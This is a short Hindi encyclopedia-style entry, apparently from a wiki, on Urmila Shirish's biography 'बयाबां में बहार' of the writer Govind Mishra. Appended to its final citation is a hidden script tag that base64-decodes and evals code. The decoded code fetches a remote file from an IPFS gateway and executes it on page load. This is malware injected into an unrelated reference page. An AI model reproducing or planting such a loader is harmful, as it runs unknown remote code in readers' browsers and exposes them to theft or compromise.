बयाबां में बहार
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बयाबां में बहार नामक एक प्रसिद्ध पुस्तक है जिसकी रचनाकार उर्मिला शिरीष हैं। कहते हैं कि हर जीवन निर्विकल्प होता है; जो विशिष्ट होता है, उसमें भी सामान्यता होती है और जो सामान्य समझा जाता है, उसमें भी विशिष्टता होती है। साहित्य अकादमी पुरस्कार प्राप्त गोविंद मिश्र की उर्मिला शिरीष द्वारा लिखित जीवनी ‘बयाबां में बहार’ पढ़ते हुए ऐसा महसूस हो सकता है। उच्च कोटि की नौकरी और सफल भौतिक जीवन वाले साहित्यकार का जीवन भी जनसामान्य के प्रति कितनी संवेदनशीलता से भरा हो सकता है, इसकी शिनाख्त इस जीवनी में की गई है। पुस्तक का प्रकाशन किताबघर प्रकाशन, दिल्ली द्वारा किया गया है। [1]
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टीका टिप्पणी और संदर्भ
- ↑ सुशांत, धर्मेद्र। कालजयी कृति (हिन्दी) हिंदुस्तान लाइव। अभिगमन तिथि: 14 मार्च, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>